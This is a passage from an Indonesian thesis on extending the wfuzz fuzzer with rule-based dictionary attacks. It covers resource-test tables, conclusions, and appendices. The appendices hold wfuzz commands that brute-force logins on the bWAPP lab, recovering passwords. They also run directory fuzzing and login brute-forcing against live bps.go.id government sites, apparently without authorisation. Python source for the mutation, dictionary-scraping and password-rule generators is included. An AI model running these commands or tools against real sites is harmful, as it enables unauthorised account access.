percobaan offline. Untuk halaman web lain selain yang terdapat pada link di 

web target BPS Irian Jaya Barat memiliki jumlah terbanyak yakni 12 halaman 

berekstensi .php . Sementara untuk form login BPS RI dan BPS Irian Jaya 

Barat memiliki jumlah terbanyak yaitu 2 form login.   

 

2. Fuzz Login Form Login Website Online 

Untuk pengujian terhadap form login website online berbeda dengan yang 

sebelumnya. Jika untuk form login BWAPP dapat digunakan username yang 

benar namun pada form login online username yang digunakan berupa pilihan 

dari penulis Sementara untuk rulenya dibuat dengan aplikasi generate rule. 

Berikut adalah screenshoot proses pembuatan rule yang akan dipakai pada 

proses selanjutnya. 
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Gambar V.3 Gambaran saat file rule online dibuat. 

 

Selanjutnya dilakukan proses fuzzing dengan menggunakan parameter yang telah 

ditentukan sebelumnya. Hasil pengujian tampak pada tabel  

Tabel V.5 Hasil Pengujian Terhadap Form Login pada Website Online 

No Website Input Output 

Username Jumlah 

Dictionary 

Jumlah 

Rule 

Total 

Request 

Username Password 

1 BPS RI/login 3 10 1000 30000 - - 

2 BPS 

Aceh/login 

3 10 1000 30000 - - 

3 BPS Irian Jaya 

Barat/login 

3 10 1000 30000 - - 

 

Pada Tabel V.5 menunjukkan bahwa untuk percobaan ini pasangan usename dan 

password tidak dapat ditemukan walau dengan jumlah request yang cukup besar 

yakni 30.000 untuk setiap target. Untuk meningkatkan kemungkinan mendapatkan 

hasil yang lebih baik jumlah username,dictionary dan rule dapat ditambahkan. 
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V.2.2.3  Uji Resources 

Untuk pengujian resources yang digunakan oleh aplikasi wfuzz. Penulis 

melakukan pengujian dengan sepuluh variasi banyaknya request untuk melihat 

waktu dan data internet. Hasil dari pengujian tersebut tampak pada gambar V.3-

V.5 dan tabel V.5 - V.6.                                                                                                                     

 

Gambar V.4 Grafik hubungan antara jumlah request dengan waktu yang 

dibutuhkan 

Gambar V.4 menunjukkan bahwa hubungan jumlah request dengan waktu yang 

dibutuhkan adalah berbading lurus. Peningkatan jumlah request per 10.000 mulai 

dari percobaan request 10.000-50.000 berdampak juga dengan semakin tingginya 

peningkatan kebutuhan waktu. 
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Gambar V.5 Grafik hubungan antara jumlah request dengan rata-rata               

waktu tiap request 

 

Gambar V.5 menunjukkan bahwa hubungan jumlah request dengan rata-rata 

waktu yang dibutuhkan per request adalah berkisar antara 32 – 46 request/detik. 

Kecepatan tertinggi terjadi pada percobaan dengan jumlah request sebanyak 5.000 

sementara terlama terjadi pada percobaan 50.000. 

Tabel V.6 Waktu Rata-Rata yang Dibutuhkan untuk Menjalankan               

Aplikasi WFUZZ 

No Jumlah 

Request 

Percobaan (s) Rata-Rata 

waktu  (s) 

Rata-Rata 

request/sec 1 2 3 

1. 100 2,52 2,68 2,73 2,64 37,83 

2 500 10,75 13,40 10,79 11,65 42,93 

3. 1.000 22,59 23,92 24,59 23,70 42,19 

4. 2.500 55,18 53,15 55,58 54,64 45,76 

5. 5.000 107,79 109,38 107,36 108,18 46,22 

6. 10.000 217,22 258,73 316,99 264,31 37,83 

7. 20.000 676,00 548,00 491,43 571,81 34,98 

8. 30.000 950,00 847,00 721,11 839,37 35,74 

9. 40.000 1.120,46 1.119,00 1.004,00 1.081,15 37,00 

10. 50.000 1.416,00 1.627,00 1.530,00 1.524,33 32,80 
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Gambar V.6 Grafik hubungan antara jumlah request dengan data yang dibutuhkan 

 

Gambar V.6 menunjukkan bahwa hubungan jumlah request dengan data yang 

dibutuhkan adalah berbading lurus. Peningkatan jumlah request per 10.000 mulai 

dari percobaan request 10.000-50.000 berdampak juga dengan semakin tingginya 

peningkatan kebutuhan data. 

Tabel V.7  Data Rata-Rata yang Dibutuhkan untuk Menjalankan                 

Aplikasi WFUZZ 

No 
Jumlah 

Request 

Percobaan (Kb) Rata-Rata 

Data  

(Kb) 

Rata-Rata 

request/Kb 

1 2 3 

1. 100 151,37 113,28 158,20 140,95 0,71 

2. 500 508,79 523,44 513,67 515,30 0,97 

3. 1.000 1.074,22 1.075,20 1.071,29 1.073,57 0,93 

4. 2.500 2.591,80 2.575,20 2.575,20 2.580,73 0,97 

5. 5.000 5.134,77 5.160,16 5.156,25 5.150,39 0,97 

6. 10.000 10.714,84 10.708,98 10.705,08 10.709,64 0,93 

7. 20.000 21.400,39 21.402,34 21.403,32 21.402,02 0,93 

8. 30.000 32.093,75 32.105,47 32.064,45 32.087,89 0,93 

9. 40.000 42.782,23 42.841,80 42.787,11 42.803,71 0,93 

10. 50.000 53.512,70 53.539,06 53.497,07 53.516,28 0,93 
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Tabel V.5 menunjukkan bahwa hubungan jumlah request dengan rata-rata data 

yang dibutuhkan per request adalah berkisar antara 0.71 – 0.93 request/Kb. 

Kebutuhan data tertinggi terjadi pada percobaan dengan jumlah request sebanyak 

100 sementara terendah terjadi pada percobaan dengan jumlah request 500, 2.500, 

dan 5.000 . 
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Bab VI  Kesimpulan dan Saran 

 

VI.1 Kesimpulan 

Setelah proses perancangan, implementasi, dan pengujian dilakukan maka 

beberapa kesimpulan dapat diambil, antara lain sebagai berikut. 

1. Fuzzer wfuzz dapat dikembangkan menggunakan rule based dictionary 

attack untuk memperbesar cakupan fuzz. 

2. Automatic generate dictionary dan rules dapat berjalan dan menghasilkan 

output sesuai dengan kebutuhan fuzzer wfuzz. 

3. Penggunaan wfuzz rule based dictionary, automatic generate dictionary 

dan automatic generate rule dapat memperbesar peluang pencarian 

kerentanan pada aplikasi web. 

 

VI.2 Saran 

1. Penggunaan aplikasi wfuzz pada login form menggunakan captcha belum 

dapat dilakukan. 

2. Penerapan rule based dictionary pada aplikasi wfuzz masih terbatas pada 

penggunaan satu payload. 

3. Program Wfuzz yang digunakan masih memiliki beberapa bug diantaranya 
seringkali terhenti saat request menyisakan satu dari total keseluruhan. 
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Lampiran A  Proses Fuzzing Pengujian 

Berikut merupakan lampiran proses fuzzing berlangsung pada bab pengujian 

 

Pengujian fuzzing directory pada Bwapp 

C:\wfuzz>wfuzz.py -c -z file,wordlist/new/bwapp.txt -z 

file,wordlist/general/extencom.txt --hc 404,403 http://localhost/bwapp/FUZZFUZ2Z 

******************************************************** 

* Wfuzz 2.1.3 - The Web Bruteforcer                      *\ 

******************************************************** 

Target: http://localhost/bwapp/FUZZFUZ2Z 

Total requests: 47124 

===============================================================

=== 

ID      Response   Lines      Word         Chars          Request 

===============================================================

=== 

04905:  C=200    124 L       215 W         3160 Ch        "admin - /" 

05269:  C=200     32 L       625 W         9951 Ch        "aim - .php" 

06111:  C=200     16 L        64 W         1000 Ch        "apps - /" 

06787:  C=200      0 L        21 W          339 Ch        "backdoor - .php" 

08053:  C=200    158 L       658 W         7858 Ch        "bugs - .txt" 

08593:  C=302      0 L         0 W            0 Ch        "captcha - .php" 

09202:  C=302      0 L         0 W            0 Ch        "clickjacking - .php" 

09767:  C=200     24 L        98 W          780 Ch        "config - .inc" 

10054:  C=200      0 L         0 W            0 Ch        "connect - .php" 

12084:  C=200     22 L       124 W         2378 Ch        "documents - /" 

17864:  C=302      0 L         0 W            0 Ch        "heartbleed - .php" 

19415:  C=200     37 L       281 W         5479 Ch        "images - /" 

19605:  C=302      0 L         0 W            0 Ch        "index - .php" 

19681:  C=200     93 L       301 W         3426 Ch        "info - .php" 

19923:  C=200     75 L       140 W         2270 Ch        "install - .php" 

24083:  C=200`    133 L       234 W         4019 Ch        "login - .php" 

24107:  C=302      0 L         0 W            0 Ch        "logout - .php" 

25219:  C=200      0 L         5 W           28 Ch        "message - .txt" 

29313:  C=200     18 L        85 W         1443 Ch        "passwords - /" 



58 

 

29874:  C=302      0 L         0 W            0 Ch        "phpi - .php" 

29924:  C=200   1092 L      6169 W        92426 Ch        "phpinfo - .php" 

33600:  C=302      0 L         0 W            0 Ch        "reset - .php" 

34012:  C=302      0 L         0 W            0 Ch        "rlfi - .php" 

34184:  C=200     10 L        17 W          167 Ch        "robots - .txt" 

35189:  C=302      0 L         0 W            0 Ch        "secret - .php" 

35300:  C=302      0 L         0 W            0 Ch        "security - .php" 

35809:  C=302      0 L         0 W            0 Ch        "shellshock - .php" 

36473:  C=200     27 L       179 W         3425 Ch        "soap - /" 

36983:  C=302      0 L         0 W            0 Ch        "ssrf - .php" 

38642:  C=200      0 L         0 W            0 Ch        "test - .php" 

39573:  C=200    101 L       289 W         3843 Ch        "training - .php" 

41010:  C=200      0 L         0 W            0 Ch        "update - .php" 

 

Pengujian fuzzing login form pada Bwapp 

C:\wfuzz>wfuzz.py -c -z list,admin-password -m chain_mutation --mutation-agent 

file,rule/ruleujibwa.txt --hc 200 -d 

"login=yogi&password=FUZZ&security_level=0&form=submit" 

http://localhost/bwapp/login.php 

******************************************************** 

* Wfuzz 2.1.3 - The Web Bruteforcer                      * 

******************************************************** 

Target: http://localhost/bwapp/login.php 

Total requests: 11597 

===============================================================

=== 

ID      Response   Lines      Word         Chars          Request 

===============================================================

=== 

08910:  C=302      0 L         0 W            0 Ch        "123pa55word" 

 

C:\wfuzz>wfuzz.py -c -z list,admin-password -m chain_mutation --mutation-agent 

file,rule/ruleujibwa.txt --hc 200 -d 

"login=admin&password=FUZZ&security_level=0&form=submit" 

http://localhost/bwapp/login.php 

******************************************************** 

* Wfuzz 2.1.3 - The Web Bruteforcer                      * 

******************************************************** 
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Target: http://localhost/bwapp/login.php 

Total requests: 11597 

===============================================================

=== 

ID      Response   Lines      Word         Chars          Request 

===============================================================

=== 

06036:  C=302      0 L         0 W            0 Ch        "pAssword12" 

 

C:\wfuzz>wfuzz.py -c -z list,admin-password -m chain_mutation --mutation-agent 

file,rule/ruleujibwa.txt --hc 200 -d 

"login=itb&password=FUZZ&security_level=0&form=submit" 

http://localhost/bwapp/login.php 

******************************************************** 

* Wfuzz 2.1.3 - The Web Bruteforcer                      * 

******************************************************** 

Target: http://localhost/bwapp/login.php 

Total requests: 11597 

===============================================================

=== 

ID      Response   Lines      Word         Chars          Request 

===============================================================

=== 

07822:  C=302      0 L         0 W            0 Ch        "p@55w0rdb@ndung" 

 

C:\wfuzz>wfuzz.py -c -z list,admin-password -m chain_mutation --mutation-agent 

file,rule/ruleujibwa.txt --hc 200 -d 

"login=bee&password=FUZZ&security_level=0&form=submit" 

http://localhost/bwapp/login.php 

******************************************************** 

* Wfuzz 2.1.3 - The Web Bruteforcer                      * 

******************************************************** 

Target: http://localhost/bwapp/login.php 

Total requests: 11597 

===============================================================

=== 

ID      Response   Lines      Word         Chars          Request 

===============================================================

=== 

00702:  C=302      0 L         0 W            0 Ch        "@dmin567" 
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Pengujian fuzzing directory website BPS Irian Jaya Barat 

C:\wfuzz>wfuzz.py -c -z file,dictio/bpsirjabar.txt -m chain_mutation --mutation-agent 

list,:-+1-+2-+3-$1-$2-$3-$s-$9$1$0$0-$2$0$1$6 --hc 404 https://irjabar.bps.go.id/FUZZ/ 

******************************************************** 

* Wfuzz 2.1.3 - The Web Bruteforcer                      * 

******************************************************** 

Target: https://irjabar.bps.go.id/FUZZ/ 

Total requests: 16789 

===============================================================

=== 

ID      Response   Lines      Word         Chars          Request 

===============================================================

=== 

02414:  C=200    911 L      2878 W        53366 Ch        "brs" 

02971:  C=200   1020 L      2839 W        49294 Ch        "data" 

04604:  C=200    348 L       585 W         5722 Ch        "files" 

05742:  C=200    930 L      3353 W        59216 Ch        "istilah" 

09725:  C=200   3265 L     19970 W        259893 Ch       "metodologi" 

09906:  C=200     34 L       109 W         1836 Ch        "mobile" 

12270:  C=200    888 L      2727 W        52495 Ch        "petasitus" 

12726:  C=200   1043 L      4137 W        78704 Ch        "publikasi" 

13452:  C=200    864 L      2555 W        47031 Ch        "satuan" 

14354:  C=200   1457 L      4782 W        85484 Ch        "site" 

14723:  C=200   1016 L      2802 W        49028 Ch        "subjek" 

14971:  C=200    866 L      2557 W        47112 Ch        "tahun" 

16586:  C=302      0 L         0 W            0 Ch        "website" 

 

Pengujian fuzzing directory website BPS Aceh 

C:\wfuzz>wfuzz.py -c -z file,dictio/bpsaceh.txt -m chain_mutation --mutation-agent list,:-

+1-+2-+3-$1-$2-$3-$s-$1$1$0$0-$2$0$1$6 --hc 404 https://aceh.bps.god/FUZZ/ 

******************************************************** 

* Wfuzz 2.1.3 - The Web Bruteforcer                      * 

******************************************************** 

Target: https://aceh.bps.go.id/FUZZ/ 

Total requests: 10909 

===============================================================

=== 
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ID      Response   Lines      Word         Chars          Request 

===============================================================

=== 

01067:  C=302      0 L         0 W            0 Ch        "asem" 

02023:  C=200    905 L      2777 W        51890 Ch        "brs" 

02430:  C=200   1016 L      2754 W        47861 Ch        "data" 

04000:  C=200    931 L      3286 W        58067 Ch        "istilah" 

06378:  C=200   3260 L     19882 W        258442 Ch       "metodologi" 

07782:  C=200    884 L      2669 W        51588 Ch        "petasitus" 

08018:  C=500    621 L      1935 W        33871 Ch        "propinsi" 

08115:  C=200   1124 L      4668 W        84837 Ch        "publikasi" 

09200:  C=200   1560 L      4936 W        87749 Ch        "site" 

09382:  C=200   1012 L      2724 W        47695 Ch        "subjek" 

09616:  C=200    862 L      2472 W        45745 Ch        "tahun" 

 

Pengujian fuzzing directory website BPS RI 

 

C:\wfuzz>wfuzz.py -c -z file,dictio/bpsri.txt -m chain_mutation --mutation-agent list,:-

+1-+2-+3-$1-$2-$3-$s-$h$q-$2$0$1$6 --hc 404 https://bps.go.id/FUZZ/ 

******************************************************** 

* Wfuzz 2.1.3 - The Web Bruteforcer                      * 

******************************************************** 

Target: https://bps.go.id/FUZZ/ 

Total requests: 13199 

===============================================================

=== 

ID      Response   Lines      Word         Chars          Request 

===============================================================

=== 

02063:  C=302      0 L         0 W            0 Ch        "bps" 

02171:  C=200   10077 L    23803 W        496099 Ch       "brs" 

04120:  C=200   10538 L    24749 W        516337 Ch       "galeri" 

04928:  C=200   10091 L    24255 W        501628 Ch       "istilah" 

06123:  C=302      0 L         0 W            0 Ch        "konsumen" 

06683:  C=200   10017 L    23469 W        489058 Ch       "login" 

07652:  C=200      1 L         8 W          251 Ch        "mobile" 

08560:  C=200   9973 L     23378 W        488965 Ch       "pencarian" 
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08588:  C=404   9749 L     22644 W        470957 Ch       "pendekatan3" 

00076:  C=302      0 L         0 W            0 Ch        "pengguna" 

00619:  C=200   10047 L    23822 W        499144 Ch       "petasitus" 

01076:  C=200   10258 L    25646 W        523474 Ch       "publikasi" 

00209:  C=403     10 L        29 W          267 Ch        "tabel" 

00045:  C=302      0 L         0 W            0 Ch        "website" 

 

Pengujian fuzzing login form website BPS Irian Jaya Barat 

C:\wfuzz>wfuzz.py -c -z list,admin-password-statcapcerdas-trikorasowi-

reformasibiroksasi-rajaampat-bps9100-se2016-se2013-statistik -m chain_mutation --

mutation 

-agent file,rule/irjabar.txt --hc 200 -d 

"LoginForm%5Busername%5D=admin&LoginForm%5Bpassword%5D=FUZZ&LoginF

orm%5BrememberMe%5D=0&yt0=Login" 

"http://irjabar.bps.go.id//website/index.php/site/login" 

******************************************************** 

* Wfuzz 2.1.3 - The Web Bruteforcer                      * 

******************************************************** 

Target: http://irjabar.bps.go.id//website/index.php/site/login 

Total requests: 10000 

===============================================================

=== 

ID      Response   Lines      Word         Chars          Request 

===============================================================

=== 

Total time: 461.6670 

Processed Requests: 10000 

Filtered Requests: 10000 

Requests/sec.: 21.66063
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Lampiran B  Source Code 

Class Chain_Mutation 

class chain_mutation: 

    name = "chain_mutation" 

    description = "Returns mutation elements from the first iterable until it is exhausted, 

then proceeds to the next iterable, until all of the iterables are exhausted. The mutation 

agent must set by --mutation-agent or -ma argument.\nExample usage: python wfuzz.py -

z list,password-passwod123 -m chain_mutation --mutation-agent list,u-[ 

http://localhost/FUZZ" 

    category = ["default"] 

    priority = 99 

    def __init__(self, *i): 

        # First, memoization and do chain iteration process 

        self.__count = sum(map(lambda x:x.count(), i)) 

        self.it = itertools.chain(*i) 

        self._dic = i 

        # Then, do mutation method process 

        self.it = MutationIterator(self.it, self.__count) 

        self.__count = self.it.getMutationGenerationCount() - 1 

 

    def restart(self): 

        for dic in self._dic:  

            dic.restart() 

        self.it = itertools.chain(*self._dic) 

        self.__count = reduce(lambda x,y:x*y.count(), i[1:], i[0].count()) 

        self.it = MutationIterator(self.it, self.__count) 

        self.__count = self.it.getMutationGenerationCount() - 1 

 

    def count(self): 

        return self.__count 

 

    def next(self): 

        return (self.it.next(),) 

    def __iter__(self): 

        self.restart() 

        return self 
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Class MutationIterator 

#!/usr/bin/env python 

# -*- coding: utf-8 -*- 

from framework.core.myexception import FuzzException 

import sys 

 

class MutationIterator(): 

    """ Docstring for MutationIterator """ 

    def __init__(self, iterable, iterableSize): 

        # Properties initilizations 

        self.iterableList = iterable 

        self.iterableSize = iterableSize 

        self.mutationAgents = [] 

        self.mutationAgentCount = 0 

        self.mutationGeneration = 0 

        self.mutationGenerationCount = 0 

        self.createdMutant = "" 

        self.mutationResults = [] 

        # Method calling to set particullar properties 

        self.generateMutationAgent() 

        self.startMutation() 

 

    def __iter__(self): 

        self.mutationAgentCount = 0 

        self.mutationGeneration = 0 

        self.mutationGenerationCount = 0 

        return self 

 

    def generateMutationAgent(self): 

        foundAgentCarier = False 

        agentCarierBlockNumber = 1 

        agentCarier = [] 

        agentContainment = "" 

        for arg in sys.argv[1:]: 

            if arg == "--mutation-agent" or arg == "--ma": 

                foundAgentCarier = True 
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                break 

            agentCarierBlockNumber += 1 

        if (foundAgentCarier): 

            agentCarier = sys.argv[agentCarierBlockNumber+1] 

            agentCarier = agentCarier.split(',') 

            if agentCarier[0] == "file": 

                try: 

                    agentContainment = open(agentCarier[1], "r") 

                except IOError: 

                    raise FuzzException(FuzzException.FATAL, "Error opening file") 

                self.mutationAgents = self.stripLines(agentContainment.readlines()) 

                self.mutationAgentCount = len(self.mutationAgents) 

                self.mutationGenerationCount = self.iterableSize * self.mutationAgentCount 

            elif agentCarier[0] == "list": 

                self.mutationAgents = agentCarier[1].split('-') 

                self.mutationAgentCount = len(self.mutationAgents) 

                self.mutationGenerationCount = self.iterableSize * self.mutationAgentCount 

            else: 

                raise FuzzException(FuzzException.FATAL, "Unknown agent containment 

type. Valid values are: file or list.") 

        else: 

            raise FuzzException(FuzzException.FATAL, "Neither --mutation-agent or --ma 

found in argument list !") 

    def stripLines(self, strings): 

        strippedString = [] 

        for s in strings: 

            strippedString.append(s.strip()) 

        return strippedString 

    def startMutation(self): 

        self.mutationResults = [] 

        iterable = self.iterableList.next()  # First iterable element 

        agentIndex = 0 

        resultIndex = 0 

        createdMutantLen = 0 

        if len(iterable) >= 1: 

            self.createMutant(iterable, self.mutationAgents[agentIndex], 0, 

len(self.mutationAgents[0])) 
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            createdMutantLen = len(self.createdMutant) 

            if createdMutantLen > 0: 

                if self.createdMutant[0] == "-islist": 

                    for x in xrange(1, createdMutantLen): 

                        self.mutationResults.append(self.createdMutant[x]) 

                        self.mutationGenerationCount += 1 

                    self.mutationGenerationCount -= 1 

                else: 

                    self.mutationResults.append(self.createdMutant) 

            else: 

                self.mutationResults.append("") 

            agentIndex += 1 

            for i in xrange(0, self.iterableSize): 

                for j in xrange(agentIndex, self.mutationAgentCount): 

                    self.createMutant(iterable, self.mutationAgents[j], 0, 

len(self.mutationAgents[j])) 

                    createdMutantLen = len(self.createdMutant) 

                    if createdMutantLen > 0: 

                        if self.createdMutant[0] == "-islist": 

                            for x in xrange(1, createdMutantLen): 

                                self.mutationResults.append(self.createdMutant[x]) 

                                self.mutationGenerationCount += 1 

                            self.mutationGenerationCount -= 1 

                        else: 

                            self.mutationResults.append(self.createdMutant) 

                    else: 

                        self.mutationResults.append("") 

                agentIndex = 0 

                if (i < self.iterableSize-1): 

                    iterable = self.iterableList.next() 

        else: 

            resultIndex += 1 

            raise FuzzException(FuzzException.FATAL, "Jezz, i was created chain iterator 

technique for mutation method only.") 

    def createMutant(self, string, rule, ruleIndex, depth): 

        stringLen = len(string) 
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        foundUnidentifiedRule = False 

        corectionLen = 1 

        tmp = None 

        tmp1 = None 

        if rule[ruleIndex] == ":": 

            pass 

        elif rule[ruleIndex] == "L": 

            string = string.lower() 

        elif rule[ruleIndex] == "c": 

            string = string.capitalize() 

        elif rule[ruleIndex] == "u": 

            string = string.upper() 

        elif rule[ruleIndex] == "t": 

            tmp = ""  # String object doesnt support item assigment 

            for x in xrange(0, stringLen): 

                if string[x] == string[x].lower(): 

                    tmp += string[x].upper() 

                elif string[x] == string[x].upper(): 

                    tmp += string[x].lower() 

            string = tmp 

        elif rule[ruleIndex] == "T": 

            tmp = tmp1 = "" 

            toggleIndex = int(rule[ruleIndex+1]) 

            if stringLen > toggleIndex : 

                if string[toggleIndex] == string[toggleIndex].lower(): 

                    tmp = string[toggleIndex].upper() 

                else: 

                    tmp = string[toggleIndex].lower() 

                if (toggleIndex > 0): 

                    for x in xrange(0, toggleIndex): 

                        tmp1 += string[x] 

                    tmp = tmp1 + tmp 

                    if (toggleIndex+1 < stringLen): 

                        tmp1 = "" 

                        for x in xrange(toggleIndex+1, stringLen): 

                            tmp1 += string[x] 
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                        tmp = tmp + tmp1 

                else: 

                    for x in xrange(1, stringLen): 

                        tmp += string[x] 

                string = tmp 

                corectionLen = 2 

            else: 

                string = string 

                corectionLen = 2 

        elif rule[ruleIndex] == "$": 

            if (rule[ruleIndex + 1] == "%"): 

                if (rule[ruleIndex + 2] == "d"): 

                    if string[0] == "-islist": 

                        tmp = "" 

                        for y in xrange(1, stringLen): 

                            for x in xrange(0, 10): 

                                tmp = string[y] + str(x) 

                                string.append(tmp) 

                    else: 

                        tmp = [""] 

                        for x in xrange(0, 10): 

                            tmp[0] = string + str(x) 

                            tmp.append(tmp[0]) 

                        tmp[0] = "-islist" 

                        string = tmp 

                    corectionLen = 3 

            if (tmp == None): 

                if string[0] == "-islist": 

                    tmp = [""] 

                    for y in xrange(1, stringLen): 

                        tmp[0] = string[y] + rule[ruleIndex+1] 

                        tmp.append(tmp[0]) 

                    tmp[0] = "-islist" 

                    string = tmp 

                else: 

                    string += rule[ruleIndex+1] 
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                corectionLen = 2 

        elif rule[ruleIndex] == "+": 

            if (rule[ruleIndex + 1] == "%"): 

                if (rule[ruleIndex + 2] == "d"): 

                    if string[0] == "-islist": 

                        tmp = "" 

                        for y in xrange(1, stringLen): 

                            for x in xrange(0, 10): 

                                tmp = str(x) + string[y] 

                                string.append(tmp) 

                    else: 

                        tmp = [""] 

                        for x in xrange(0, 10): 

                            tmp[0] = str(x) + string 

                            tmp.append(tmp[0]) 

                        tmp[0] = "-islist" 

                        string = tmp 

                    corectionLen = 3 

            if (tmp == None): 

                if string[0] == "-islist": 

                    tmp = [""] 

                    for y in xrange(1, stringLen): 

                        tmp[0] = rule[ruleIndex+1] + string[y] 

                        tmp.append(tmp[0]) 

                    tmp[0] = "-islist" 

                    string = tmp 

                else: 

                    if (ruleIndex==0):                   

                        string = rule[ruleIndex+1]+ string 

                    if (ruleIndex > 0): 

                        string = string[:ruleIndex/2] + rule[ruleIndex+1] + string[ruleIndex/2:] 

                corectionLen = 2 

        elif rule[ruleIndex]== "[": 

            tmp = string[1:stringLen] 

            string = tmp 

        elif rule[ruleIndex] == "]": 
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            tmp = string[0:stringLen-1] 

            string = tmp 

        elif rule[ruleIndex] == "D": 

            tmp = int(rule[ruleIndex+1:depth]) 

            if tmp > 0: 

                string = string[0:tmp-1] + string[tmp+1:stringLen] 

            else: 

                string = string[1:stringLen] 

            corectionLen = depth 

        elif rule[ruleIndex] == "'": 

            tmp = int(rule[ruleIndex+1:depth]) 

            if tmp > 0: 

                string = string[0:tmp] 

            corectionLen = depth 

        elif rule[ruleIndex] == "Z": 

            tmp = int(rule[ruleIndex+1:depth]) 

            tmp = string[stringLen-1] * tmp 

            string += tmp 

            corectionLen = depth 

        elif rule[ruleIndex] == "d": 

            string += string 

        elif rule[ruleIndex] == "s": 

            tmp = "" 

            for x in xrange(0, stringLen): 

                if string[x] == rule[ruleIndex+1]: 

                    tmp += rule[ruleIndex+2] 

                else: 

                    tmp += string[x] 

            string = tmp 

            corectionLen = 3 

        else: 

            foundUnidentifiedRule = True 

        ruleIndex += corectionLen 

        if ( ruleIndex < depth ) or foundUnidentifiedRule: 

            self.createMutant(string, rule, ruleIndex, depth) 

        else: 
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            self.createdMutant = string 

 

    def getMutationGenerationCount(self): 

        return self.mutationGenerationCount 

 

    def getMutationResult(): 

        return self.mutationResults 

 

    def next(self): 

        if self.mutationGeneration < self.mutationGenerationCount: 

            nextGeneration = self.mutationResults[self.mutationGeneration] 

            self.mutationGeneration += 1 

            return nextGeneration 

        else: 

            raise StopIteration 
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Automatic Generate Dictionary 

import re 

import time 

import warnings 

import requests 

from bs4 import BeautifulSoup 

import google 

 

warnings.filterwarnings('ignore') 

name = raw_input("Keyword pembuatan dictionary? ") 

number = raw_input("Jumlah sumber web? ") 

dict = raw_input("Nama dictionary? ") 

start_time = time.clock() 

f = open(dict+".txt", "w") 

temp = [] 

web = [] 

no = 0 

 

for url in google.search(name, tld='co.id', num=int(number), stop=1): 

    if no < int(number): 

        no = no+1 

        url2 = requests.get(url, verify=False) 

        soup = BeautifulSoup(url2.text, from_encoding="UTF-8") 

        for script in soup(["script", "style"]): 

            script.extract()    # rip it out 

  #menggambil text 

        best = (soup.get_text().encode('utf-8')) 

  #remove karakter yg tdk perlu dan split 

        html1 = re.sub("[^\w]", " ", best).split() 

  #mengambil url 

        for link in soup.findAll('a'): 

            be = link.get('href') 

            temp.append(be) 

        urllink = str(temp) 

        html2 = re.sub("[^\w]", " ", urllink).split() 

        html = html1 + html2 



73 

 

        print str(no)+". "+str(url)+" terdapat sebanyak "+str(len(html))+ " kata" 

        for x in range(len(html)): 

            web.append(html[x]) 

    else: 

        break 

noangka = [x.lower() for x in web if not x.isdigit()] 

# tuk minimal length 

b = [item.replace('_', '') for item in noangka] 

Ya = [x for x in b if 2 < len(x) < 15] 

#remove duplicate 

lis = frozenset(Ya) 

ab = list(lis) 

ab.sort() 

for x in range(len(ab)): 

    f.write(ab[x]+'\n') 

print "Jumlah kata akhir setelah pemilihan "+str(len(ab)) 

print("Waktu yang dibutuhkan --- %s detik ---" % (time.clock() - start_time)) 

 

Automatic Generate Rule 

import random 

from itertools import product 

 

dict = raw_input("Nama rule? ") 

jml = raw_input("Banyaknya string? ") 

val=[] 

for z in range(int(jml)): 

 val2 = raw_input("masukkan string ke "+str(z+1)+" ? ") 

 val.append(val2) 

f = open(dict+".txt","w") 

text=[]  

text2=[] 

tex3=['u','c','d','L',':','T0','T1','T2','T3','T4','T5','T6','T7','[','[[','[[[','[[[[',']',']]',']]]',']]]]', 

'D1','D2','D3','D4','D5','T1','Z2','Z3','sa@','sa4','si1','ss5','so0','sa@sa4','si1sa@','si1sa4','so

0sa@','sa@so0ss5','sa4so0ss5'] 

for x in range(len(val)): 

 b = val[x] 
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 for n in range(len(b)): 

  n= n+1 

  tes = [b[i:i+n] for i in range(len(b)-n+1)] 

  for a in range(len(tes)): 

   d = (tes[a]) 

   LGS=[]  

   LGS2=[] 

   for c in range(len(d)): 

    if c == 0 : 

     LIS = ('$'+d[c]) 

     LIS2= ('+'+d[c]) 

     LGS.append(LIS) 

     LGS2.append(LIS2) 

    elif c <= len(d): 

     LIS = (LGS[c-1]+'$'+d[c]) 

     LIS2 = (LGS2[c-1]+'+'+d[c]) 

     LGS.append(LIS) 

     LGS2.append(LIS2) 

    else: 

     break 

   text.append(LGS) 

   text.append(LGS2) 

  

 for m in range (len(text)): 

  NEW = (text[m]) 

  for j in range (len(NEW)): 

   NEW2 = (NEW[j]) 

   text2.append(NEW2) 

text_final=text2 + tex3 

text_dua=['%s%s' % el for el in product(text2,tex3)] 

text_cetak=text2 + tex3 + text_dua 

text_nondup = frozenset(text_cetak) 

text_simpan = list(text_nondup) 

print "Banyaknya kemungkinan rule yang ada "+ str(len(text_simpan)) 

jml_rule = raw_input("Banyaknya rule yang ingin dibuat? ") 

if len(text_simpan) >= int(jml_rule): 
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 text_simpan = random.sample(text_simpan, int(jml_rule)) 

 text_simpan.sort() 

 for x in range(len(text_simpan)): 

  f.write(text_simpan[x]+'\n') 

elif len(text_simpan) < int(jml_rule): 

 text_simpan.sort() 

 for x in range(len(text_simpan)): 

  f.write(text_simpan[x]+'\n') 

 print "Jumlah rule yang dapat dibuat adalah "+ str(len(text_simpan)) 

print "Rule berhasil disimpan dengan nama "+ dict+".txt" 

 

 


